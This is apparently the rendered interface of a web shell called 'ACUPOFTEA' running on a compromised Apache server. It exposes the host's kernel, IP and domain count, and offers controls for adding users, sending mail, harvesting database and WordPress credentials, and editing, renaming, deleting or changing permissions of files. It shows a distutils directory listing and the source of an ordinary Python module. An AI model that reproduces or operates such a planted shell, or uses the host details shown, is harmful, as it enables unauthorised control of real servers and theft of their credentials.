System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python2.7
/
distutils
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
versionpredicate.py
"""Module for parsing and testing package version predicate strings. """ import re import distutils.version import operator re_validPackage = re.compile(r"(?i)^\s*([a-z_]\w*(?:\.[a-z_]\w*)*)(.*)") # (package) (rest) re_paren = re.compile(r"^\s*\((.*)\)\s*$") # (list) inside of parentheses re_splitComparison = re.compile(r"^\s*(<=|>=|<|>|!=|==)\s*([^\s,]+)\s*$") # (comp) (version) def splitUp(pred): """Parse a single version comparison. Return (comparison string, StrictVersion) """ res = re_splitComparison.match(pred) if not res: raise ValueError("bad package restriction syntax: %r" % pred) comp, verStr = res.groups() return (comp, distutils.version.StrictVersion(verStr)) compmap = {"<": operator.lt, "<=": operator.le, "==": operator.eq, ">": operator.gt, ">=": operator.ge, "!=": operator.ne} class VersionPredicate: """Parse and test package version predicates. >>> v = VersionPredicate('pyepat.abc (>1.0, <3333.3a1, !=1555.1b3)') The `name` attribute provides the full dotted name that is given:: >>> v.name 'pyepat.abc' The str() of a `VersionPredicate` provides a normalized human-readable version of the expression:: >>> print v pyepat.abc (> 1.0, < 3333.3a1, != 1555.1b3) The `satisfied_by()` method can be used to determine with a given version number is included in the set described by the version restrictions:: >>> v.satisfied_by('1.1') True >>> v.satisfied_by('1.4') True >>> v.satisfied_by('1.0') False >>> v.satisfied_by('4444.4') False >>> v.satisfied_by('1555.1b3') False `VersionPredicate` is flexible in accepting extra whitespace:: >>> v = VersionPredicate(' pat( == 0.1 ) ') >>> v.name 'pat' >>> v.satisfied_by('0.1') True >>> v.satisfied_by('0.2') False If any version numbers passed in do not conform to the restrictions of `StrictVersion`, a `ValueError` is raised:: >>> v = VersionPredicate('p1.p2.p3.p4(>=1.0, <=1.3a1, !=1.2zb3)') Traceback (most recent call last): ... ValueError: invalid version number '1.2zb3' It the module or package name given does not conform to what's allowed as a legal module or package name, `ValueError` is raised:: >>> v = VersionPredicate('foo-bar') Traceback (most recent call last): ... ValueError: expected parenthesized list: '-bar' >>> v = VersionPredicate('foo bar (12.21)') Traceback (most recent call last): ... ValueError: expected parenthesized list: 'bar (12.21)' """ def __init__(self, versionPredicateStr): """Parse a version predicate string. """ # Fields: # name: package name # pred: list of (comparison string, StrictVersion) versionPredicateStr = versionPredicateStr.strip() if not versionPredicateStr: raise ValueError("empty package restriction") match = re_validPackage.match(versionPredicateStr) if not match: raise ValueError("bad package name in %r" % versionPredicateStr) self.name, paren = match.groups() paren = paren.strip() if paren: match = re_paren.match(paren) if not match: raise ValueError("expected parenthesized list: %r" % paren) str = match.groups()[0] self.pred = [splitUp(aPred) for aPred in str.split(",")] if not self.pred: raise ValueError("empty parenthesized list in %r" % versionPredicateStr) else: self.pred = [] def __str__(self): if self.pred: seq = [cond + " " + str(ver) for cond, ver in self.pred] return self.name + " (" + ", ".join(seq) + ")" else: return self.name def satisfied_by(self, version): """True if version is compatible with all the predicates in self. The parameter version must be acceptable to the StrictVersion constructor. It may be either a string or StrictVersion. """ for cond, ver in self.pred: if not compmap[cond](version, ver): return False return True _provision_rx = None def split_provision(value): """Return the name and optional version number of a provision. The version number, if given, will be returned as a `StrictVersion` instance, otherwise it will be `None`. >>> split_provision('mypkg') ('mypkg', None) >>> split_provision(' mypkg( 1.2 ) ') ('mypkg', StrictVersion ('1.2')) """ global _provision_rx if _provision_rx is None: _provision_rx = re.compile( "([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)(?:\s*\(\s*([^)\s]+)\s*\))?$") value = value.strip() m = _provision_rx.match(value) if not m: raise ValueError("illegal provides specification: %r" % value) ver = m.group(2) or None if ver: ver = distutils.version.StrictVersion(ver) return m.group(1), ver
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
..
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
command
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
README
text/plain
295 B
-rw-r--r--
2024-04-10 04:58:35
__init__.py
text/plain
236 B
-rw-r--r--
2024-04-10 04:58:35
__init__.pyc
application/octet-stream
415 B
-rw-r--r--
2024-04-10 04:58:46
__init__.pyo
application/octet-stream
415 B
-rw-r--r--
2024-04-10 04:58:46
archive_util.py
text/x-python
8.03 KB
-rw-r--r--
2024-04-10 04:58:35
archive_util.pyc
application/octet-stream
7.42 KB
-rw-r--r--
2024-04-10 04:58:46
archive_util.pyo
application/octet-stream
7.42 KB
-rw-r--r--
2024-04-10 04:58:46
bcppcompiler.py
text/x-python
14.59 KB
-rw-r--r--
2024-04-10 04:58:35
bcppcompiler.pyc
application/octet-stream
7.7 KB
-rw-r--r--
2024-04-10 04:58:46
bcppcompiler.pyo
application/octet-stream
7.7 KB
-rw-r--r--
2024-04-10 04:58:46
ccompiler.py
text/x-python
45.63 KB
-rw-r--r--
2024-04-10 04:58:35
ccompiler.pyc
application/octet-stream
36.02 KB
-rw-r--r--
2024-04-10 04:58:46
ccompiler.pyo
application/octet-stream
35.88 KB
-rw-r--r--
2024-04-10 04:58:44
cmd.py
text/x-python
18.82 KB
-rw-r--r--
2024-04-10 04:58:35
cmd.pyc
application/octet-stream
16.41 KB
-rw-r--r--
2024-04-10 04:58:46
cmd.pyo
application/octet-stream
16.41 KB
-rw-r--r--
2024-04-10 04:58:46
config.py
text/x-python
4.04 KB
-rw-r--r--
2024-04-10 04:58:35
config.pyc
application/octet-stream
3.48 KB
-rw-r--r--
2024-04-10 04:58:46
config.pyo
application/octet-stream
3.48 KB
-rw-r--r--
2024-04-10 04:58:46
core.py
text/x-python
8.81 KB
-rw-r--r--
2024-04-10 04:58:35
core.pyc
application/octet-stream
7.36 KB
-rw-r--r--
2024-04-10 04:58:46
core.pyo
application/octet-stream
7.36 KB
-rw-r--r--
2024-04-10 04:58:46
cygwinccompiler.py
text/x-python
17.32 KB
-rw-r--r--
2024-04-10 04:58:35
cygwinccompiler.pyc
application/octet-stream
9.59 KB
-rw-r--r--
2024-04-10 04:58:46
cygwinccompiler.pyo
application/octet-stream
9.59 KB
-rw-r--r--
2024-04-10 04:58:46
debug.py
text/plain
162 B
-rw-r--r--
2024-04-10 04:58:35
debug.pyc
application/octet-stream
254 B
-rw-r--r--
2024-04-10 04:58:46
debug.pyo
application/octet-stream
254 B
-rw-r--r--
2024-04-10 04:58:46
dep_util.py
text/x-python
3.43 KB
-rw-r--r--
2024-04-10 04:58:35
dep_util.pyc
application/octet-stream
3.11 KB
-rw-r--r--
2024-04-10 04:58:46
dep_util.pyo
application/octet-stream
3.11 KB
-rw-r--r--
2024-04-10 04:58:46
dir_util.py
text/x-python
7.68 KB
-rw-r--r--
2024-04-10 04:58:35
dir_util.pyc
application/octet-stream
6.63 KB
-rw-r--r--
2024-04-10 04:58:46
dir_util.pyo
application/octet-stream
6.63 KB
-rw-r--r--
2024-04-10 04:58:46
dist.py
text/x-python
48.88 KB
-rw-r--r--
2024-04-10 04:58:35
dist.pyc
application/octet-stream
38.26 KB
-rw-r--r--
2024-04-10 04:58:46
dist.pyo
application/octet-stream
38.26 KB
-rw-r--r--
2024-04-10 04:58:46
emxccompiler.py
text/x-python
11.65 KB
-rw-r--r--
2024-04-10 04:58:35
emxccompiler.pyc
application/octet-stream
7.29 KB
-rw-r--r--
2024-04-10 04:58:46
emxccompiler.pyo
application/octet-stream
7.29 KB
-rw-r--r--
2024-04-10 04:58:46
errors.py
text/plain
3.41 KB
-rw-r--r--
2024-04-10 04:58:35
errors.pyc
application/octet-stream
6.14 KB
-rw-r--r--
2024-04-10 04:58:46
errors.pyo
application/octet-stream
6.14 KB
-rw-r--r--
2024-04-10 04:58:46
extension.py
text/x-python
10.65 KB
-rw-r--r--
2024-04-10 04:58:35
extension.pyc
application/octet-stream
7.24 KB
-rw-r--r--
2024-04-10 04:58:46
extension.pyo
application/octet-stream
7.02 KB
-rw-r--r--
2024-04-10 04:58:44
fancy_getopt.py
text/x-python
17.53 KB
-rw-r--r--
2024-04-10 04:58:35
fancy_getopt.pyc
application/octet-stream
11.68 KB
-rw-r--r--
2024-04-10 04:58:46
fancy_getopt.pyo
application/octet-stream
11.5 KB
-rw-r--r--
2024-04-10 04:58:44
file_util.py
text/x-python
7.94 KB
-rw-r--r--
2024-04-10 04:58:35
file_util.pyc
application/octet-stream
6.59 KB
-rw-r--r--
2024-04-10 04:58:46
file_util.pyo
application/octet-stream
6.59 KB
-rw-r--r--
2024-04-10 04:58:46
filelist.py
text/x-python
12.39 KB
-rw-r--r--
2024-04-10 04:58:35
filelist.pyc
application/octet-stream
10.5 KB
-rw-r--r--
2024-04-10 04:58:46
filelist.pyo
application/octet-stream
10.5 KB
-rw-r--r--
2024-04-10 04:58:46
log.py
text/plain
1.65 KB
-rw-r--r--
2024-04-10 04:58:35
log.pyc
application/octet-stream
2.72 KB
-rw-r--r--
2024-04-10 04:58:46
log.pyo
application/octet-stream
2.72 KB
-rw-r--r--
2024-04-10 04:58:46
msvc9compiler.py
text/x-python
30.28 KB
-rw-r--r--
2024-04-10 04:58:35
msvc9compiler.pyc
application/octet-stream
20.99 KB
-rw-r--r--
2024-04-10 04:58:46
msvc9compiler.pyo
application/octet-stream
20.92 KB
-rw-r--r--
2024-04-10 04:58:44
msvccompiler.py
text/x-python
23.08 KB
-rw-r--r--
2024-04-10 04:58:35
msvccompiler.pyc
application/octet-stream
17.11 KB
-rw-r--r--
2024-04-10 04:58:46
msvccompiler.pyo
application/octet-stream
17.11 KB
-rw-r--r--
2024-04-10 04:58:46
spawn.py
text/x-python
8.45 KB
-rw-r--r--
2024-04-10 04:58:35
spawn.pyc
application/octet-stream
6.28 KB
-rw-r--r--
2024-04-10 04:58:46
spawn.pyo
application/octet-stream
6.28 KB
-rw-r--r--
2024-04-10 04:58:46
sysconfig.py
text/x-python
17.29 KB
-rw-r--r--
2024-04-10 04:58:41
sysconfig.py.debug-build
text/x-python
17.21 KB
-rw-r--r--
2024-04-10 04:58:35
sysconfig.pyc
application/octet-stream
13.09 KB
-rw-r--r--
2024-04-10 04:58:46
sysconfig.pyo
application/octet-stream
13.09 KB
-rw-r--r--
2024-04-10 04:58:46
text_file.py
text/plain
12.14 KB
-rw-r--r--
2024-04-10 04:58:35
text_file.pyc
application/octet-stream
9.04 KB
-rw-r--r--
2024-04-10 04:58:46
text_file.pyo
application/octet-stream
9.04 KB
-rw-r--r--
2024-04-10 04:58:46
unixccompiler.py
text/x-python
13.89 KB
-rw-r--r--
2024-04-10 04:58:35
unixccompiler.py.distutils-rpath
text/x-python
13.36 KB
-rw-r--r--
2024-04-10 04:58:35
unixccompiler.pyc
application/octet-stream
8.04 KB
-rw-r--r--
2024-04-10 04:58:46
unixccompiler.pyo
application/octet-stream
8.04 KB
-rw-r--r--
2024-04-10 04:58:46
util.py
text/x-python
17.81 KB
-rw-r--r--
2024-04-10 04:58:35
util.pyc
application/octet-stream
14.05 KB
-rw-r--r--
2024-04-10 04:58:46
util.pyo
application/octet-stream
14.05 KB
-rw-r--r--
2024-04-10 04:58:46
version.py
text/x-python
11.17 KB
-rw-r--r--
2024-04-10 04:58:35
version.pyc
application/octet-stream
7.04 KB
-rw-r--r--
2024-04-10 04:58:46
version.pyo
application/octet-stream
7.04 KB
-rw-r--r--
2024-04-10 04:58:46
versionpredicate.py
text/plain
4.98 KB
-rw-r--r--
2024-04-10 04:58:35
versionpredicate.pyc
application/octet-stream
5.41 KB
-rw-r--r--
2024-04-10 04:58:46
versionpredicate.pyo
application/octet-stream
5.41 KB
-rw-r--r--
2024-04-10 04:58:46
~ ACUPOFTEA - mail.ontime-ae.com